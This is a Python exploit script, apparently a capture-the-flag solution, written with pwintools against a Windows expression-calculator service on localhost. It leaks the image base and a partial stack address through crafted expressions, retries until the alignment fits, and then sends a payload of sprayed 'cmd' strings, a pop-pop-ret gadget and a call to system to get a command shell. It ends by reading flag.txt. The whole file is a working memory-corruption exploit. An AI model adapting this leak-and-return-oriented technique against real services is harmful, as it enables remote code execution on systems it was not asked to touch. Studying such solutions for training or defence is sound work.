from pwintools import *
import struct

def menu(p, choice):
    p.recvuntil('Operation: ')
    p.sendline(choice)

def new(p, expr):
    menu(p, 'new')
    p.recvuntil('Enter the expression: ')
    p.sendline(expr)

def run(p, recv_count):
    menu(p, 'run')
    results = []  # (expr, res) both in string form
    for i in range(recv_count):
        p.recvuntil('Expression ')
        expr = p.recvuntil(': ', True)
        if expr[-7:] == ' result':
            expr = expr[:-7]
        res = p.recvline(False)
        results.append((expr, res))
    return results

def quit(p):
    menu(p, 'quit')

# packs double into bytes
def pdbl(dbl):
    return struct.pack('d', dbl)

# unpacks bytes into double
def udbl(dbl_bytes):
    return struct.unpack('d', dbl_bytes)[0]

def pair(first, second):
    assert(second & 0x80000000 == 0)
    return '{:.32e}'.format(udbl(p32(first) + p32(second)))

"""
Stack states will differ from machine to machine, although the general alignment of 0x10 would be similar
If leak successful, stack was aligned => determine lowest 4 bits
106, 0x100+0x8*1: leak[0] & ~0xff == &SEH_Record[1] & ~0xff (stack leak w/o LSByte)
106, 0x100+0x8*1: leak[1] - 0x139d0 == image base
"""

while True:
    p = Remote('localhost', 12345)
    p.newline = '\r\n'
    new(p, '*'*106 + '+')
    run(p, 1)
    new(p, '+'*(0x100+0x8*1))
    leak = [u32(dat) for dat in cut(pdbl(float(run(p, 2)[0][1])), 4)]
    image_base = leak[1] - 0x139d0
    if image_base & 0xffff == 0:
        log.success('image base: 0x{:08x}'.format(image_base))
        stack_partial = leak[0] & ~0xff
        log.success('stack partial leak: 0x{:08x}'.format(stack_partial))
        break
    else:
        log.failure('image base leak failed, retrying...')
        p.sendline('quit')
        p.close()
run(p, 1)
run(p, 1)

# image_base + 0xa3d9 : pop esi ; pop ebp ; ret 8
payload  = ''
payload += (pair(u32('cmd\0'), u32('cmd\0')) + '()') * 0x102  # cmd spray
payload += pair(0, image_base + 0xa3d9) + '()'  # ppr8
payload += pair(image_base + 0xbec2, 0) + '()'  # system(str)
payload += pair(stack_partial - 0x900, 0)  # str

new(p, payload)

quit(p)

p.recvuntil('>')
p.sendline('type flag.txt')
p.recvline()
print(p.recvline(False))